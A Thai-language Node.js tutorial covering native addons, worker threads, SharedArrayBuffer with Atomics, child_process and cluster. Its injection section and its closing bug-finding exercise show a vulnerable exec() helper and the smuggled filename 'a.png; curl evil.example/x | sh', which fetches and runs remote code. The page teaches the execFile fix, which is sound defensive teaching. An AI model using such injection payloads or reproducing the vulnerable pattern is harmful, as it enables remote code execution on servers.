Native Code & Workers
Native addon แบบย่อ
หัวข้อที่มีชื่อว่า “Native addon แบบย่อ”Native addon คือไฟล์ .node ที่ compile แล้ว (จริง ๆ คือ shared library) ที่ JavaScript require() ได้เหมือน module ทั่วไป — ใช้เมื่อ package ต้องเรียก system library หรือบีบประสิทธิภาพที่ JS optimize ไปไม่ถึง N-API คือ C ABI ที่เสถียรที่ Node เปิดให้เขียนสิ่งเหล่านี้ โดยเฉพาะเพื่อให้ addon ที่ compile กับ Node version หนึ่งยังทำงานได้กับ version หลังจากนั้นโดยไม่ต้อง rebuild native package ที่ publish ส่วนใหญ่มาพร้อม prebuild (binary ที่ compile ไว้ล่วงหน้าสำหรับ platform/arch/Node-ABI ที่พบบ่อย) และจะ fallback ไป compile จาก source ด้วย node-gyp (ซึ่งต้องมี C++ toolchain และ Python ติดตั้งไว้) ก็ต่อเมื่อไม่มี prebuild ที่ตรงกันเท่านั้น — นี่คือเหตุผลเป๊ะ ๆ ที่ npm ci บางทีใช้เวลานานขึ้นชัดเจนหรือล้มเหลวไปเลยใน Docker image แบบ minimal: มันไม่ได้ติดตั้ง JavaScript แต่กำลัง compile C++
worker_threads: thread จริง, heap แยกต่างหาก
หัวข้อที่มีชื่อว่า “worker_threads: thread จริง, heap แยกต่างหาก”Worker แต่ละตัวคือ OS thread จริงที่รัน V8 isolate ของตัวเอง — heap ของตัวเอง, event loop ของตัวเอง, global ของตัวเอง ไม่มีอะไรถูกแชร์โดย default คุณต้อง opt-in เป็นรายข้อมูล:
flowchart TB
Main["Main thread
own V8 isolate, own event loop"] -->|"postMessage()
structured-clones the value"| W1["Worker 1
own V8 isolate, own event loop"]
Main -->|"postMessage()
structured-clones the value"| W2["Worker 2
own V8 isolate, own event loop"]
Main -.->|"SharedArrayBuffer
same underlying memory"| Shared[("shared memory")]
W1 -.-> Shared
W2 -.-> Shared
พิสูจน์ว่า SharedArrayBuffer + Atomics ไม่มี update หาย
หัวข้อที่มีชื่อว่า “พิสูจน์ว่า SharedArrayBuffer + Atomics ไม่มี update หาย”Worker 4 ตัวเพิ่มค่า counter ที่แชร์กันตัวละ 100,000 ครั้ง ด้วย SharedArrayBuffer จริงและ Atomics.add (read-modify-write แบบ atomic) การเพิ่มทุกครั้งนับครบ — ไม่มี update หายแม้จะมี 4 thread เข้าถึง memory เดียวกันพร้อมกัน:
Output (verified on Node 24)
Atomics counter after 4 workers x 100,000 increments each: 400000400,000 คือคำตอบที่ถูกต้องทางคณิตศาสตร์เป๊ะ ๆ (4 × 100,000) — Atomics.add รับประกันว่า read-modify-write เกิดขึ้นเป็นขั้นตอนเดียวที่แบ่งแยกไม่ได้ ดังนั้น worker สองตัวจะไม่มีทางอ่านค่าเดียวกันแล้วต่างคนต่างบวกเข้าไปจนทำ update หาย แบบที่ view[0]++ ธรรมดาบน shared memory จะทำได้
อีกครึ่งหนึ่งของการพิสูจน์: postMessage copy ไม่ได้แชร์
หัวข้อที่มีชื่อว่า “อีกครึ่งหนึ่งของการพิสูจน์: postMessage copy ไม่ได้แชร์”ความเข้าใจผิดที่พบบ่อยที่สิ่งนี้เปรียบเทียบด้วยคือการสมมติว่า postMessage/workerData แชร์ object โดยอ้างอิง มันไม่ใช่ — ทุกค่าที่ข้าม boundary นั้นถูกส่งผ่าน structured clone algorithm ซึ่งสร้าง copy ที่เป็นอิสระ:
Output (verified on Node 24)
worker reported its own copy at: 100000
worker reported its own copy at: 100000
worker reported its own copy at: 100000
worker reported its own copy at: 100000
main thread counter.value (never touched by any worker): 0Copy ของแต่ละ worker ไปถึง 100,000 พอดี (ไม่มี update หายข้างในตัว worker เอง เพราะแต่ละตัวมีสิทธิ์เข้าถึง copy ของตัวเองแบบเดี่ยว) แต่ object ต้นฉบับของ main thread ไม่ถูกแตะเลยแม้แต่นิดเดียว — พิสูจน์ว่า workerData/postMessage ไม่เคยให้ reference ไปยัง object จริงแก่ worker เลย structuredClone() (function global ตัวเดียวกัน ใช้ตรง ๆ ได้) ทำตาม algorithm เดียวกันนี้: มัน deep-copy ค่าส่วนใหญ่ (object, array, Map, Set, date, typed array) แต่ clone function, DOM node และ host object แบบเดียวกันไม่ได้ หรือ (โดยตั้งใจ) class ที่มี private field ที่ไม่ implement algorithm นี้ — พวกนั้น throw DataCloneError
MessageChannel/MessagePort คือ messaging primitive แบบ structured-clone เดียวกับที่ Worker ใช้ข้างใน expose ออกมาตรง ๆ สำหรับสร้าง channel สองทางของคุณเอง — รวมถึงระหว่าง port สองตัวที่ส่งให้ worker คนละตัว เพื่อให้ worker คุยกันได้โดยไม่ต้อง route ทุก message ผ่าน main thread
child_process: spawn/execFile เทียบกับ exec และทำไมมันสำคัญเรื่อง injection
หัวข้อที่มีชื่อว่า “child_process: spawn/execFile เทียบกับ exec และทำไมมันสำคัญเรื่อง injection”exec() รัน command string ของมันผ่าน shell จริง ซึ่งหมายความว่า shell metacharacter ใน string นั้นถูกตีความ — รวมถึงตัวที่มาจาก input ที่ไม่น่าเชื่อถือ execFile() (และ spawn()) ไม่เคยเรียก shell สำหรับ command เอง; argument ถูกส่งเป็น array และไปถึงโปรแกรมเป้าหมายแบบตรงตัว ไม่มีการตีความ metacharacter:
Output (verified on Node 24)
exec() result: "hello\nINJECTED"
execFile() result: "hello; echo INJECTED"exec() แยก string ตรง ; แล้วรัน echo INJECTED เป็น command จริงตัวที่สอง — นั่นคือ shell injection สาธิตด้วย payload ที่แค่พิมพ์คำเดียว แต่กลไกเดียวกันเป๊ะ ๆ รัน rm -rf, ขโมยข้อมูล, หรือเปิด reverse shell ได้ถ้า input เป็นฝ่ายร้ายแทนที่จะไม่มีพิษภัย execFile() ส่ง 'hello; echo INJECTED' ให้ echo เป็น argument เดียวแบบตรงตัว — ไม่มี shell เข้ามาเกี่ยวข้อง ไม่มีอะไรให้ inject กฎคือ: ถ้าส่วนไหนของ command มาจากนอกโค้ด source ของคุณเอง ใช้ execFile/spawn กับ argument array ห้ามใช้ exec กับการต่อ string เด็ดขาด
cluster: หลาย process, port เดียว
หัวข้อที่มีชื่อว่า “cluster: หลาย process, port เดียว”cluster fork OS process เต็มรูปแบบ (ไม่ใช่ thread) ที่แชร์ listening port เดียวกันผ่าน primary process — กลยุทธ์การ scale ที่ต่างจาก worker_threads (แยกงานที่กิน CPU) หรือ reverse proxy (route ข้าม process อิสระเอง):
Output (verified on Node 24)
primary: forking 2 workers
worker: doing its (simulated) job, then exiting cleanly
worker: doing its (simulated) job, then exiting cleanly
both workers exited with code 0ใน server จริง cluster worker แต่ละตัวรัน application เต็มรูปแบบ และ primary process round-robin (หรือบางแพลตฟอร์มปล่อยให้ OS load-balance) connection ที่เข้ามาข้ามพวกมัน — วิธีใช้ CPU core หลายตัวสำหรับ Node server ที่กิน I/O หนักโดยไม่ต้องมีโค้ด worker_threads เลย แลกกับการที่แต่ละ worker เป็น process แยกเต็มตัวพร้อม memory ของตัวเอง (ไม่มี in-process cache ที่แชร์กันได้โดยไม่มี external store อย่าง Redis)
Mental Model
หัวข้อที่มีชื่อว่า “Mental Model”worker_threads คือการเช่าอพาร์ตเมนต์ที่สองที่ตกแต่งครบ (V8 isolate ของตัวเอง, heap ของตัวเอง, event loop ของตัวเอง) — ไม่มีอะไรจากอพาร์ตเมนต์ของคุณอยู่ที่นั่นเว้นแต่คุณจะส่งไปเองอย่างชัดเจน ไม่ว่าจะเป็น copy (postMessage, structured clone) หรือมอบกุญแจห้องที่แชร์กันหนึ่งห้อง (SharedArrayBuffer) child_process ไม่ได้เช่าอพาร์ตเมนต์ในตึกเดียวกันเลย — มันคือการโทรหาผู้เช่าคนละคนไปเลย (execFile/spawn) หรือกับ exec คือการยื่นโน้ตให้คนแปลกหน้า (shell) แล้วเชื่อว่าเขาจะอ่านมันตรงตามที่เขียนเป๊ะ ๆ ซึ่งเป็นความเชื่อใจที่ exec ทำลายพอดีเมื่อโน้ตนั้นมีคำของคนอื่นอยู่
Trade-offs
หัวข้อที่มีชื่อว่า “Trade-offs”Thread (worker_threads) สร้างถูกกว่า process และแชร์ memory ตรง ๆ ผ่าน SharedArrayBuffer ได้ แต่ crash ที่ล้ม process ทั้งตัวจะพา worker ทุกตัวไปด้วย และโค้ด shared-memory ที่ใช้ Atomics เขียนให้ถูกต้องยากกว่า message-passing จริง ๆ Process (cluster, child_process) แยกจากกันเต็มตัว — ตัวหนึ่ง crash ไม่กระทบตัวอื่น — แลกกับ memory overhead ต่อ instance ที่มากขึ้นและไม่มี shared state ให้ฟรี ๆ อะไรก็ตามที่สอง process ต้องการร่วมกัน (cache, session store) ต้องอยู่ที่ไหนสักที่ที่ทั้งคู่เข้าถึงได้ อย่าง Redis การเข้าถึง shell ของ exec ทรงพลังกว่า direct-exec ของ execFile อย่างเคร่งครัด (pipe, glob, env expansion ใช้ได้หมด) ซึ่งเป็นพื้นที่เดียวกันเป๊ะ ๆ ที่ทำให้มันอันตรายกับ input ใด ๆ ที่คุณควบคุมไม่ได้เต็มที่เอง
ความเข้าใจผิดที่พบบ่อย
หัวข้อที่มีชื่อว่า “ความเข้าใจผิดที่พบบ่อย”- “
postMessageแชร์ object ระหว่าง thread” มัน structured-clone มัน — ฝั่งที่รับได้ copy ที่เป็นอิสระ มีแค่SharedArrayBuffer(เข้าถึงผ่าน typed array) เท่านั้นที่เป็น shared memory จริง ๆ - “
Atomicsเกี่ยวกับประสิทธิภาพเท่านั้น” หน้าที่จริงของมันคือ correctness: ถ้าไม่มีมัน การอ่าน/เขียน shared memory พร้อมกันจากหลาย thread สามารถ interleave กันและทำ update หายได้ มันบังเอิญเปิดใช้ coordination primitive ระดับต่ำด้วย (Atomics.wait/notify) แต่การรับประกันหลักคือ atomicity ไม่ใช่ความเร็ว - “
execFileเป็นแค่execเวอร์ชันช้ากว่าแต่ปลอดภัยกว่า” มันไม่ช้ากว่าสำหรับงานเทียบเท่ากัน — มันแค่ไม่เคย spawn shell สำหรับ command เป้าหมายเลย ความต่างด้านความปลอดภัยเป็นผลโดยตรงจากการข้าม shell parsing ไปเลย ไม่ใช่ trade-off ด้านประสิทธิภาพ
อ่านโค้ดที่ AI เขียน
หัวข้อที่มีชื่อว่า “อ่านโค้ดที่ AI เขียน”โค้ดที่ AI สร้างซึ่ง shell out เพื่อรัน system command เป็นสิ่งที่คุ้มค่าที่สุดที่จะตรวจสอบให้ละเอียด เพราะความเสี่ยง injection มองไม่เห็นเว้นแต่คุณจะรู้ว่าต้องดูที่ วิธี สร้าง command
🐛 หา bug ในโค้ดนี้
// AI-written "resize an uploaded image" helperimport { exec } from 'node:child_process';
function resizeImage(filename, width) {exec(`convert uploads/${filename} -resize ${width} output/${filename}`, (err) => { if (err) console.error('resize failed', err);});}// filename comes from the original upload's filename, sent by the clientเฉลย
filename ถูกควบคุมโดยผู้โจมตี (มันคือชื่ออะไรก็ตามที่ browser ของผู้ upload ส่งมา) และถูก interpolate ตรงเข้าไปใน string ที่ exec รันผ่าน shell จริง ชื่อไฟล์แบบ a.png; curl evil.example/x | sh รัน command แยกที่ผู้โจมตีเลือกเองทั้งหมดหลัง semicolon — shell injection แบบคลาสสิก ไม่ใช่เรื่องสมมติ วิธีแก้คือ execFile('convert', ['uploads/' + filename, '-resize', String(width), 'output/' + filename], callback) ซึ่งส่งแต่ละ argument แบบตรงตัวโดยไม่มี shell เข้ามาเกี่ยวข้องเลย บวกกับการ validate/sanitize filename ก่อนที่มันจะแตะ filesystem เลย (อย่างน้อยต้องปฏิเสธ path separator และ null byte)